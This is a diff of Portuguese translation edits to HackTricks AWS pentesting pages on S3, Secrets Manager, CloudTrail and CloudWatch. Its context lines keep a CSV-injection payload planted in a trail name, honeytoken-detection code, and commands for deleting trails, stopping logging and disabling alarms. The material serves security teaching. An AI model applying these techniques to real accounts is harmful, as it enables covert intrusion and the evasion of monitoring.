-- O KMS retorna o DEK em texto simples e o DEK criptografado com o CMK
+- O KMS retorna o DEK em texto claro e o DEK criptografado com o CMK
 - Ambas as chaves são enviadas de volta
-- O cliente então criptografa os dados com o DEK em texto simples e envia ao S3 os dados criptografados + o DEK criptografado (que é salvo como metadados dos dados criptografados dentro do S3)
+- O cliente então criptografa os dados com o DEK em texto claro e envia ao S3 os dados criptografados + o DEK criptografado (que é salvo como metadados dos dados criptografados dentro do S3)
 - Descriptografia:
 - Os dados criptografados com o DEK criptografado são enviados ao cliente
-- O cliente solicita ao KMS para descriptografar a chave criptografada usando o CMK e o KMS envia de volta o DEK em texto simples
+- O cliente solicita ao KMS para descriptografar a chave criptografada usando o CMK e o KMS envia de volta o DEK em texto claro
 - O cliente agora pode descriptografar os dados criptografados
 
 </details>
@@ -123,18 +123,18 @@ Semelhante ao SSE-KMS, isso também usa o serviço de gerenciamento de chaves pa
 Usando este mecanismo, você pode utilizar suas próprias chaves fornecidas e usar um cliente AWS-SDK para criptografar seus dados antes de enviá-los ao S3 para armazenamento.
 
 - Criptografia:
-- O cliente gera um DEK e criptografa os dados em texto simples
+- O cliente gera um DEK e criptografa os dados em texto claro
 - Em seguida, usando seu próprio CMK personalizado, ele criptografa o DEK
 - envia os dados criptografados + DEK criptografado para o S3, onde são armazenados
 - Descriptografia:
 - O S3 envia os dados criptografados e o DEK
-- Como o cliente já possui o CMK usado para criptografar o DEK, ele descriptografa o DEK e então usa o DEK em texto simples para descriptografar os dados
+- Como o cliente já possui o CMK usado para criptografar o DEK, ele descriptografa o DEK e, em seguida, usa o DEK em texto claro para descriptografar os dados
 
 </details>
 
 ### **Enumeração**
 
-Uma das principais maneiras tradicionais de comprometer organizações AWS começa comprometendo buckets publicamente acessíveis. **Você pode encontrar** [**enumeradores de buckets públicos nesta página**](../aws-unauthenticated-enum-access/#s3-buckets)**.**
+Uma das principais maneiras tradicionais de comprometer organizações AWS começa comprometendo buckets acessíveis publicamente. **Você pode encontrar** [**enumeradores de buckets públicos nesta página**](../aws-unauthenticated-enum-access/#s3-buckets)**.**
 ```bash
 # Get buckets ACLs
 aws s3api get-bucket-acl --bucket <bucket-name>
@@ -229,9 +229,9 @@ aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-poli
 ```
 ### dual-stack <a href="#dual-stack-endpoints-description" id="dual-stack-endpoints-description"></a>
 
-Você pode acessar um bucket S3 através de um endpoint de pilha dupla usando um nome de endpoint de estilo hospedado virtual ou de estilo de caminho. Estes são úteis para acessar o S3 através do IPv6.
+Você pode acessar um bucket S3 através de um endpoint dual-stack usando um nome de endpoint de estilo hospedado virtual ou de estilo de caminho. Estes são úteis para acessar o S3 através de IPv6.
 
-Os endpoints de pilha dupla usam a seguinte sintaxe:
+Os endpoints dual-stack usam a seguinte sintaxe:
 
 - `bucketname.s3.dualstack.aws-region.amazonaws.com`
 - `s3.dualstack.aws-region.amazonaws.com/bucketname`
@@ -270,7 +270,7 @@ Na página a seguir, você pode verificar como **abusar das permissões do S3 pa
 
 ## Amazon Athena
 
-Amazon Athena é um serviço de consulta interativa que facilita a **análise de dados** diretamente no Amazon Simple Storage Service (Amazon **S3**) **usando** SQL **padrão**.
+Amazon Athena é um serviço de consulta interativa que facilita a **análise de dados** diretamente no Amazon Simple Storage Service (Amazon **S3**) **usando** SQL padrão.
 
 Você precisa **preparar uma tabela de DB relacional** com o formato do conteúdo que vai aparecer nos buckets S3 monitorados. E então, o Amazon Athena será capaz de popular o DB a partir dos logs, para que você possa consultá-lo.
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md
index 1a4a31743..8c10448c4 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md
@@ -1,10 +1,10 @@
-# AWS - Secrets Manager Enum
+# AWS - Enumeração do Secrets Manager
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## AWS Secrets Manager
 
-AWS Secrets Manager foi projetado para **eliminar o uso de segredos codificados em aplicativos, substituindo-os por uma chamada de API**. Este serviço serve como um **repositório centralizado para todos os seus segredos**, garantindo que sejam gerenciados de forma uniforme em todos os aplicativos.
+AWS Secrets Manager é projetado para **eliminar o uso de segredos codificados em aplicativos substituindo-os por uma chamada de API**. Este serviço serve como um **repositório centralizado para todos os seus segredos**, garantindo que sejam gerenciados de forma uniforme em todos os aplicativos.
 
 O gerenciador simplifica o **processo de rotação de segredos**, melhorando significativamente a postura de segurança de dados sensíveis, como credenciais de banco de dados. Além disso, segredos como chaves de API podem ser rotacionados automaticamente com a integração de funções lambda.
 
@@ -18,7 +18,7 @@ Para conceder acesso a segredos a um usuário de uma conta AWS diferente, é nec
 
 **AWS Secrets Manager integra-se com AWS KMS para criptografar seus segredos dentro do AWS Secrets Manager.**
 
-### **Enumeration**
+### **Enumeração**
 ```bash
 aws secretsmanager list-secrets #Get metadata of all secrets
 aws secretsmanager list-secret-version-ids --secret-id <secret_name> # Get versions
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
index 26acc4ccb..6d8846316 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
@@ -4,7 +4,7 @@
 
 ## **CloudTrail**
 
-AWS CloudTrail **registra e monitora a atividade dentro do seu ambiente AWS**. Ele captura **logs de eventos** detalhados, incluindo quem fez o quê, quando e de onde, para todas as interações com os recursos AWS. Isso fornece um histórico de auditoria de mudanças e ações, auxiliando na análise de segurança, auditoria de conformidade e rastreamento de mudanças de recursos. CloudTrail é essencial para entender o comportamento de usuários e recursos, aprimorar posturas de segurança e garantir conformidade regulatória.
+AWS CloudTrail **registra e monitora a atividade dentro do seu ambiente AWS**. Ele captura **logs de eventos** detalhados, incluindo quem fez o que, quando e de onde, para todas as interações com os recursos AWS. Isso fornece um histórico de auditoria de mudanças e ações, auxiliando na análise de segurança, auditoria de conformidade e rastreamento de mudanças de recursos. CloudTrail é essencial para entender o comportamento de usuários e recursos, aprimorar posturas de segurança e garantir conformidade regulatória.
 
 Cada evento registrado contém:
 
@@ -21,7 +21,7 @@ Cada evento registrado contém:
 
 Os eventos são escritos em um novo arquivo de log **aproximadamente a cada 5 minutos em um arquivo JSON**, eles são mantidos pelo CloudTrail e, finalmente, os arquivos de log são **entregues ao S3 aproximadamente 15 minutos depois**.\
 Os logs do CloudTrail podem ser **agregados entre contas e entre regiões.**\
-O CloudTrail permite usar **a integridade do arquivo de log para poder verificar se seus arquivos de log permaneceram inalterados** desde que o CloudTrail os entregou a você. Ele cria um hash SHA-256 dos logs dentro de um arquivo de resumo. Um hash sha-256 dos novos logs é criado a cada hora.\
+O CloudTrail permite usar **a integridade do arquivo de log para verificar se seus arquivos de log permaneceram inalterados** desde que o CloudTrail os entregou a você. Ele cria um hash SHA-256 dos logs dentro de um arquivo de digestão. Um hash sha-256 dos novos logs é criado a cada hora.\
 Ao criar um Trail, os seletores de eventos permitirão que você indique o trail a ser registrado: eventos de gerenciamento, dados ou insights.
 
 Os logs são salvos em um bucket S3. Por padrão, a Criptografia do Lado do Servidor é usada (SSE-S3), então a AWS descriptografa o conteúdo para as pessoas que têm acesso a ele, mas para segurança adicional, você pode usar SSE com KMS e suas próprias chaves.
@@ -38,7 +38,7 @@ Convenção de Nomenclatura de Arquivos de Log
 
 ![](<../../../../images/image (122).png>)
 
-Além disso, **arquivos de resumo (para verificar a integridade do arquivo)** estarão dentro do **mesmo bucket** em:
+Além disso, **arquivos de digestão (para verificar a integridade do arquivo)** estarão dentro do **mesmo bucket** em:
 
 ![](<../../../../images/image (195).png>)
 
@@ -53,9 +53,9 @@ No entanto, mesmo que você possa salvar todos os logs no mesmo bucket S3, não
 > [!CAUTION]
 > Lembre-se de que uma conta pode ter **diferentes Trails** do CloudTrail **ativados** armazenando os mesmos (ou diferentes) logs em diferentes buckets.
 
-### Cloudtrail de todas as contas da org em 1
+### CloudTrail de todas as contas da org em 1
 
-Ao criar um CloudTrail, é possível indicar para ativar o cloudtrail para todas as contas na org e obter os logs em apenas 1 bucket:
+Ao criar um CloudTrail, é possível indicar para ativar o CloudTrail para todas as contas na org e obter os logs em apenas 1 bucket:
 
 <figure><img src="../../../../images/image (200).png" alt=""><figcaption></figcaption></figure>
 
@@ -69,7 +69,7 @@ aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [-
 ```
 ### Logs to CloudWatch
 
-**O CloudTrail pode enviar logs automaticamente para o CloudWatch, permitindo que você configure alertas que o avisem quando atividades suspeitas forem realizadas.**\
+**O CloudTrail pode enviar logs automaticamente para o CloudWatch, permitindo que você configure alertas que o avisam quando atividades suspeitas são realizadas.**\
 Observe que, para permitir que o CloudTrail envie os logs para o CloudWatch, é necessário criar uma **role** que permita essa ação. Se possível, é recomendável usar a role padrão da AWS para realizar essas ações. Essa role permitirá que o CloudTrail:
 
 - CreateLogStream: Isso permite criar streams de log do CloudWatch Logs
@@ -89,14 +89,14 @@ Os insights são armazenados no mesmo bucket que os logs do CloudTrail em: `Buck
 
 ### Security
 
-| Integridade do Arquivo de Log do CloudTrail | <ul><li>Validar se os logs foram adulterados (modificados ou excluídos)</li><li><p>Usa arquivos de digestão (cria hash para cada arquivo)</p><ul><li>Hashing SHA-256</li><li>SHA-256 com RSA para assinatura digital</li><li>chave privada de propriedade da Amazon</li></ul></li><li>Leva 1 hora para criar um arquivo de digestão (feito a cada hora, a cada hora)</li></ul> |
-| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
-| Impedir acesso não autorizado             | <ul><li><p>Usar políticas IAM e políticas de bucket S3</p><ul><li>equipe de segurança —> acesso de administrador</li><li>auditores —> acesso somente leitura</li></ul></li><li>Usar SSE-S3/SSE-KMS para criptografar os logs</li></ul>                                                                                                                                        |
-| Prevenir a exclusão de arquivos de log | <ul><li>Restringir acesso de exclusão com políticas IAM e de bucket</li><li>Configurar exclusão MFA do S3</li><li>Validar com Validação de Arquivo de Log</li></ul>                                                                                                                                                                                            |
+| Integridade do Arquivo de Log do CloudTrail | <ul><li>Validar se os logs foram adulterados (modificados ou excluídos)</li><li><p>Usa arquivos de digestão (cria hash para cada arquivo)</p><ul><li>Hashing SHA-256</li><li>SHA-256 com RSA para assinatura digital</li><li>chave privada de propriedade da Amazon</li></ul></li><li>Leva 1 hora para criar um arquivo de digestão (feito a cada hora)</li></ul> |
+| --------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| Parar acesso não autorizado                   | <ul><li><p>Usar políticas IAM e políticas de bucket S3</p><ul><li>equipe de segurança —> acesso de administrador</li><li>auditores —> acesso somente leitura</li></ul></li><li>Usar SSE-S3/SSE-KMS para criptografar os logs</li></ul>                                                                                                                                        |
+| Prevenir a exclusão de arquivos de log       | <ul><li>Restringir acesso de exclusão com políticas IAM e de bucket</li><li>Configurar exclusão MFA do S3</li><li>Validar com Validação de Arquivo de Log</li></ul>                                                                                                                                                                                            |
 
 ## Access Advisor
 
-O AWS Access Advisor depende dos últimos 400 dias de logs do AWS **CloudTrail para reunir suas percepções**. O CloudTrail captura um histórico das chamadas de API da AWS e eventos relacionados feitos em uma conta da AWS. O Access Advisor utiliza esses dados para **mostrar quando os serviços foram acessados pela última vez**. Ao analisar os logs do CloudTrail, o Access Advisor pode determinar quais serviços da AWS um usuário ou role IAM acessou e quando esse acesso ocorreu. Isso ajuda os administradores da AWS a tomar decisões informadas sobre **refinar permissões**, pois podem identificar serviços que não foram acessados por longos períodos e potencialmente reduzir permissões excessivamente amplas com base em padrões de uso reais.
+O AWS Access Advisor depende dos últimos 400 dias de logs do AWS **CloudTrail para reunir suas informações**. O CloudTrail captura um histórico das chamadas de API da AWS e eventos relacionados feitos em uma conta da AWS. O Access Advisor utiliza esses dados para **mostrar quando os serviços foram acessados pela última vez**. Ao analisar os logs do CloudTrail, o Access Advisor pode determinar quais serviços da AWS um usuário ou role IAM acessou e quando esse acesso ocorreu. Isso ajuda os administradores da AWS a tomar decisões informadas sobre **refinar permissões**, pois podem identificar serviços que não foram acessados por longos períodos e potencialmente reduzir permissões excessivamente amplas com base em padrões de uso reais.
 
 > [!TIP]
 > Portanto, o Access Advisor informa sobre **as permissões desnecessárias sendo concedidas aos usuários** para que o administrador possa removê-las
@@ -125,7 +125,7 @@ aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id
 ### **Injeção CSV**
 
 É possível realizar uma injeção CSV dentro do CloudTrail que executará código arbitrário se os logs forem exportados em CSV e abertos com o Excel.\
-O seguinte código gerará uma entrada de log com um nome de Trail ruim contendo a carga útil:
+O seguinte código gerará uma entrada de log com um nome de Trail ruim contendo o payload:
 ```python
 import boto3
 payload = "=cmd|'/C calc'|''"
@@ -148,21 +148,21 @@ Para mais informações sobre esta técnica específica, consulte [https://rhino
 
 ### HoneyTokens **bypass**
 
-Honeytokens são criados para **detectar a exfiltração de informações sensíveis**. No caso da AWS, eles são **chaves AWS cujo uso é monitorado**, se algo acionar uma ação com essa chave, então alguém deve ter roubado essa chave.
+Honeytokens são criados para **detectar a exfiltração de informações sensíveis**. No caso da AWS, eles são **chaves da AWS cujo uso é monitorado**, se algo acionar uma ação com essa chave, então alguém deve ter roubado essa chave.
 
-No entanto, Honeytokens como os criados por [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) estão usando nomes de conta reconhecíveis ou usando o mesmo ID de conta AWS para todos os seus clientes. Portanto, se você conseguir obter o nome da conta e/ou ID da conta sem fazer o Cloudtrail criar nenhum log, **você poderia saber se a chave é um honeytoken ou não**.
+No entanto, Honeytokens como os criados por [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) estão usando nomes de conta reconhecíveis ou usando o mesmo ID de conta da AWS para todos os seus clientes. Portanto, se você conseguir obter o nome da conta e/ou ID da conta sem fazer o Cloudtrail criar nenhum log, **você poderia saber se a chave é um honeytoken ou não**.
 
 [**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) tem algumas regras para detectar se uma chave pertence a [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:**
 
 - Se **`canarytokens.org`** aparecer no nome da função ou o ID da conta **`534261010715`** aparecer na mensagem de erro.
-- Testando mais recentemente, eles estão usando a conta **`717712589309`** e ainda tem a string **`canarytokens.com`** no nome.
-- Se **`SpaceCrab`** aparecer no nome da função na mensagem de erro
+- Testando-os mais recentemente, eles estão usando a conta **`717712589309`** e ainda tem a string **`canarytokens.com`** no nome.
+- Se **`SpaceCrab`** aparecer no nome da função na mensagem de erro.
 - **SpaceSiren** usa **uuids** para gerar nomes de usuário: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}`
 - Se o **nome parecer gerado aleatoriamente**, há altas probabilidades de que seja um HoneyToken.
 
 #### Obter o ID da conta a partir do ID da chave
 
-Você pode obter o **ID da Conta** a partir do **codificado** dentro da **chave de acesso** como [**explicado aqui**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) e verificar o ID da conta com sua lista de contas Honeytokens AWS:
+Você pode obter o **ID da Conta** a partir do **codificado** dentro da **chave de acesso** como [**explicado aqui**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) e verificar o ID da conta com sua lista de contas Honeytokens da AWS:
 ```python
 import base64
 import binascii
@@ -181,7 +181,7 @@ return (e)
 
 print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))
 ```
-Confira mais informações na [**pesquisa original**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489).
+Verifique mais informações na [**pesquisa original**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489).
 
 #### Não gerar um log
 
@@ -193,7 +193,7 @@ A questão é que a saída mostrará um erro indicando o ID da conta e o nome da
 
 No passado, havia alguns **serviços AWS que não enviavam logs para o CloudTrail** (encontre uma [lista aqui](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Alguns desses serviços **responderão** com um **erro** contendo o **ARN do papel da chave** se alguém não autorizado (a chave honeytoken) tentar acessá-lo.
 
-Dessa forma, um **atacante pode obter o ARN da chave sem acionar nenhum log**. No ARN, o atacante pode ver o **ID da conta AWS e o nome**, é fácil saber os IDs e nomes das contas das empresas do HoneyToken, assim, um atacante pode identificar se o token é um HoneyToken.
+Dessa forma, um **atacante pode obter o ARN da chave sem acionar nenhum log**. No ARN, o atacante pode ver o **ID da conta AWS e o nome**, é fácil saber o ID e os nomes das contas das empresas do HoneyToken, assim, um atacante pode identificar se o token é um HoneyToken.
 
 ![](<../../../../images/image (93).png>)
 
@@ -204,9 +204,9 @@ Dessa forma, um **atacante pode obter o ARN da chave sem acionar nenhum log**. N
 
 ### Acessando Infraestrutura de Terceiros
 
-Certos serviços AWS **gerarão alguma infraestrutura** como **Bancos de Dados** ou **clusters Kubernetes** (EKS). Um usuário **falando diretamente com esses serviços** (como a API do Kubernetes) **não usará a API AWS**, então o CloudTrail não poderá ver essa comunicação.
+Certos serviços AWS irão **gerar alguma infraestrutura** como **Bancos de Dados** ou **clusters Kubernetes** (EKS). Um usuário **falando diretamente com esses serviços** (como a API do Kubernetes) **não usará a API AWS**, então o CloudTrail não poderá ver essa comunicação.
 
-Portanto, um usuário com acesso ao EKS que descobriu a URL da API do EKS poderia gerar um token localmente e **falar com o serviço da API diretamente sem ser detectado pelo Cloudtrail**.
+Portanto, um usuário com acesso ao EKS que descobriu a URL da API do EKS poderia gerar um token localmente e **falar diretamente com o serviço da API sem ser detectado pelo CloudTrail**.
 
 Mais informações em:
 
@@ -224,7 +224,7 @@ aws cloudtrail delete-trail --name [trail-name]
 ```bash
 aws cloudtrail stop-logging --name [trail-name]
 ```
-#### Desativar o registro em várias regiões
+#### Desativar o registro em log de múltiplas regiões
 ```bash
 aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services
 ```
@@ -236,7 +236,7 @@ aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '
 # Remove all selectors (stop Insights)
 aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>
 ```
-No primeiro exemplo, um único seletor de eventos é fornecido como um array JSON com um único objeto. O `"ReadWriteType": "ReadOnly"` indica que o **seletor de eventos deve capturar apenas eventos de leitura** (então as insights do CloudTrail **não estarão verificando eventos de escrita**, por exemplo).
+No primeiro exemplo, um único seletor de eventos é fornecido como um array JSON com um único objeto. O `"ReadWriteType": "ReadOnly"` indica que o **seletor de eventos deve capturar apenas eventos de leitura** (então o CloudTrail insights **não verificará eventos de escrita**, por exemplo).
 
 Você pode personalizar o seletor de eventos com base em seus requisitos específicos.
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
index 59d337155..bed8ba569 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
@@ -4,7 +4,7 @@
 
 ## CloudWatch
 
-**CloudWatch** **coleta** dados de monitoramento e operação na forma de logs/métricas/eventos, fornecendo uma **visão unificada dos recursos** da AWS, aplicações e serviços.\
+**CloudWatch** **coleta** dados de monitoramento e operação na forma de logs/métricas/eventos, fornecendo uma **visão unificada dos recursos AWS**, aplicações e serviços.\
 O evento de log do CloudWatch tem uma **limitação de tamanho de 256KB em cada linha de log**.\
 Ele pode definir **alarmas de alta resolução**, visualizar **logs** e **métricas** lado a lado, tomar ações automatizadas, solucionar problemas e descobrir insights para otimizar aplicações.
 
@@ -27,7 +27,7 @@ Um namespace é um contêiner para métricas do CloudWatch. Ele ajuda a categori
 
 ### Métricas
 
-Métricas são pontos de dados coletados ao longo do tempo que representam o desempenho ou a utilização dos recursos da AWS. As métricas podem ser coletadas de serviços da AWS, aplicações personalizadas ou integrações de terceiros.
+Métricas são pontos de dados coletados ao longo do tempo que representam o desempenho ou a utilização dos recursos AWS. As métricas podem ser coletadas de serviços AWS, aplicações personalizadas ou integrações de terceiros.
 
 - **Exemplo**: CPUUtilization, NetworkIn, DiskReadOps.
 
@@ -39,13 +39,13 @@ Dimensões são pares chave-valor que fazem parte das métricas. Elas ajudam a i
 
 ### Estatísticas
 
-Estatísticas são cálculos matemáticos realizados sobre dados de métricas para resumi-los ao longo do tempo. Estatísticas comuns incluem Média, Soma, Mínimo, Máximo e Contagem de Amostras.
+Estatísticas são cálculos matemáticos realizados sobre os dados da métrica para resumi-los ao longo do tempo. Estatísticas comuns incluem Média, Soma, Mínimo, Máximo e Contagem de Amostras.
 
 - **Exemplo**: Calcular a média de utilização da CPU ao longo de um período de uma hora.
 
 ### Unidades
 
-Unidades são o tipo de medição associado a uma métrica. As unidades ajudam a fornecer contexto e significado aos dados da métrica. Unidades comuns incluem Percentual, Bytes, Segundos, Contagem.
+Unidades são o tipo de medida associado a uma métrica. As unidades ajudam a fornecer contexto e significado aos dados da métrica. Unidades comuns incluem Percentual, Bytes, Segundos, Contagem.
 
 - **Exemplo**: CPUUtilization pode ser medido em Percentual, enquanto NetworkIn pode ser medido em Bytes.
 
@@ -53,11 +53,11 @@ Unidades são o tipo de medição associado a uma métrica. As unidades ajudam a
 
 ### Painel
 
-**Painéis do CloudWatch** fornecem **visões personalizáveis das suas métricas do AWS CloudWatch**. É possível criar e configurar painéis para visualizar dados e monitorar recursos em uma única visão, combinando diferentes métricas de vários serviços da AWS.
+**Painéis do CloudWatch** fornecem **visões personalizáveis das suas métricas do AWS CloudWatch**. É possível criar e configurar painéis para visualizar dados e monitorar recursos em uma única visão, combinando diferentes métricas de vários serviços AWS.
 
 **Recursos Principais**:
 
-- **Widgets**: Blocos de construção dos painéis, incluindo gráficos, texto, alarmes e mais.
+- **Widgets**: Blocos de construção de painéis, incluindo gráficos, texto, alarmes e mais.
 - **Personalização**: O layout e o conteúdo podem ser personalizados para atender a necessidades específicas de monitoramento.
 
 **Exemplo de Caso de Uso**:
@@ -68,12 +68,12 @@ Unidades são o tipo de medição associado a uma métrica. As unidades ajudam a
 
 **Fluxos de Métricas** no AWS CloudWatch permitem que você transmita continuamente métricas do CloudWatch para um destino de sua escolha em quase tempo real. Isso é particularmente útil para monitoramento avançado, análises e painéis personalizados usando ferramentas fora da AWS.
 
-**Dados de Métricas** dentro dos Fluxos de Métricas referem-se às medições reais ou pontos de dados que estão sendo transmitidos. Esses pontos de dados representam várias métricas como utilização da CPU, uso de memória, etc., para recursos da AWS.
+**Dados de Métricas** dentro dos Fluxos de Métricas referem-se às medições reais ou pontos de dados que estão sendo transmitidos. Esses pontos de dados representam várias métricas, como utilização da CPU, uso de memória, etc., para recursos AWS.
 
 **Exemplo de Caso de Uso**:
 
 - Enviando métricas em tempo real para um serviço de monitoramento de terceiros para análise avançada.
-- Arquivando métricas em um bucket do Amazon S3 para armazenamento a longo prazo e conformidade.
+- Arquivando métricas em um bucket Amazon S3 para armazenamento a longo prazo e conformidade.
 
 ### Alarme
 
@@ -107,22 +107,22 @@ Unidades são o tipo de medição associado a uma métrica. As unidades ajudam a
 
 **Regras de Insight** permitem que você identifique tendências, detecte picos ou outros padrões de interesse em seus dados de métricas usando **expressões matemáticas poderosas** para definir as condições sob as quais ações devem ser tomadas. Essas regras podem ajudá-lo a identificar anomalias ou comportamentos incomuns no desempenho e utilização de seus recursos.
 
-**Regras de Insight Gerenciadas** são regras de insight **pré-configuradas fornecidas pela AWS**. Elas são projetadas para monitorar serviços específicos da AWS ou casos de uso comuns e podem ser ativadas sem a necessidade de configuração detalhada.
+**Regras de Insight Gerenciadas** são regras de insight **pré-configuradas fornecidas pela AWS**. Elas são projetadas para monitorar serviços AWS específicos ou casos de uso comuns e podem ser ativadas sem a necessidade de configuração detalhada.
 
 **Exemplo de Caso de Uso**:
 
-- Monitorando o Desempenho do RDS: Ativar uma regra de insight gerenciada para o Amazon RDS que monitora indicadores-chave de desempenho, como utilização da CPU, uso de memória e I/O de disco. Se alguma dessas métricas exceder limites operacionais seguros, a regra pode acionar um alerta ou uma ação de mitigação automatizada.
+- Monitorando o Desempenho do RDS: Ativar uma regra de insight gerenciada para o Amazon RDS que monitora indicadores-chave de desempenho, como utilização da CPU, uso de memória e I/O de disco. Se qualquer uma dessas métricas exceder limites operacionais seguros, a regra pode acionar um alerta ou ação de mitigação automatizada.
 
 ### Logs do CloudWatch <a href="#cloudwatch-logs" id="cloudwatch-logs"></a>
 
-Permite **agregar e monitorar logs de aplicações** e sistemas de **serviços da AWS** (incluindo CloudTrail) e **de apps/sistemas** (**CloudWatch Agent** pode ser instalado em um host). Os logs podem ser **armazenados indefinidamente** (dependendo das configurações do Grupo de Logs) e podem ser exportados.
+Permite **agregar e monitorar logs de aplicações** e sistemas de **serviços AWS** (incluindo CloudTrail) e **de apps/sistemas** (**CloudWatch Agent** pode ser instalado em um host). Os logs podem ser **armazenados indefinidamente** (dependendo das configurações do Grupo de Logs) e podem ser exportados.
 
 **Elementos**:
 
 | **Grupo de Logs**        | Uma **coleção de fluxos de logs** que compartilham as mesmas configurações de retenção, monitoramento e controle de acesso                                   |
 | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
 | **Fluxo de Logs**       | Uma sequência de **eventos de log** que compartilham a **mesma fonte**                                                                                   |
-| **Filtros de Assinatura** | Definem um **padrão de filtro que corresponde a eventos** em um grupo de logs específico, enviando-os para o fluxo do Kinesis Data Firehose, fluxo do Kinesis ou uma função Lambda |
+| **Filtros de Assinatura** | Definem um **padrão de filtro que corresponde a eventos** em um grupo de logs específico, enviando-os para o fluxo Kinesis Data Firehose, fluxo Kinesis ou uma função Lambda |
 
 ### Monitoramento e Eventos do CloudWatch
 
@@ -216,9 +216,9 @@ aws events list-event-buses
 
 ### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`**
 
-Um atacante com essas permissões poderia comprometer significativamente a infraestrutura de monitoramento e alerta de uma organização. Ao deletar alarmes existentes, um atacante poderia desativar alertas cruciais que notificam os administradores sobre problemas críticos de desempenho, violações de segurança ou falhas operacionais. Além disso, ao criar ou modificar alarmes de métrica, o atacante também poderia enganar os administradores com alertas falsos ou silenciar alarmes legítimos, efetivamente mascarando atividades maliciosas e impedindo respostas rápidas a incidentes reais.
+Um atacante com essas permissões poderia comprometer significativamente a infraestrutura de monitoramento e alerta de uma organização. Ao deletar alarmes existentes, um atacante poderia desativar alertas cruciais que notificam os administradores sobre problemas críticos de desempenho, violações de segurança ou falhas operacionais. Além disso, ao criar ou modificar alarmes de métrica, o atacante também poderia enganar os administradores com alertas falsos ou silenciar alarmes legítimos, efetivamente mascarando atividades maliciosas e impedindo respostas oportunas a incidentes reais.
 
-Além disso, com a permissão **`cloudwatch:PutCompositeAlarm`**, um atacante seria capaz de criar um loop ou ciclo de alarmes compostos, onde o alarme composto A depende do alarme composto B, e o alarme composto B também depende do alarme composto A. Nesse cenário, não é possível deletar qualquer alarme composto que faça parte do ciclo, pois sempre haverá um alarme composto que depende daquele alarme que você deseja deletar.
+Além disso, com a permissão **`cloudwatch:PutCompositeAlarm`**, um atacante seria capaz de criar um loop ou ciclo de alarmes compostos, onde o alarme composto A depende do alarme composto B, e o alarme composto B também depende do alarme composto A. Nesse cenário, não é possível deletar qualquer alarme composto que faça parte do ciclo porque sempre haverá um alarme composto que depende daquele alarme que você deseja deletar.
 ```bash
 aws cloudwatch put-metric-alarm --cli-input-json <value> | --alarm-name <value> --comparison-operator <value> --evaluation-periods <value> [--datapoints-to-alarm <value>] [--threshold <value>] [--alarm-description <value>] [--alarm-actions <value>] [--metric-name <value>] [--namespace <value>] [--statistic <value>] [--dimensions <value>] [--period <value>]
 aws cloudwatch delete-alarms --alarm-names <value>
@@ -227,7 +227,7 @@ aws cloudwatch put-composite-alarm --alarm-name <value> --alarm-rule <value> [--
 O seguinte exemplo mostra como tornar um alarme de métrica ineficaz:
 
 - Este alarme de métrica monitora a utilização média da CPU de uma instância EC2 específica, avalia a métrica a cada 300 segundos e requer 6 períodos de avaliação (30 minutos no total). Se a utilização média da CPU exceder 60% por pelo menos 4 desses períodos, o alarme será acionado e enviará uma notificação para o tópico SNS especificado.
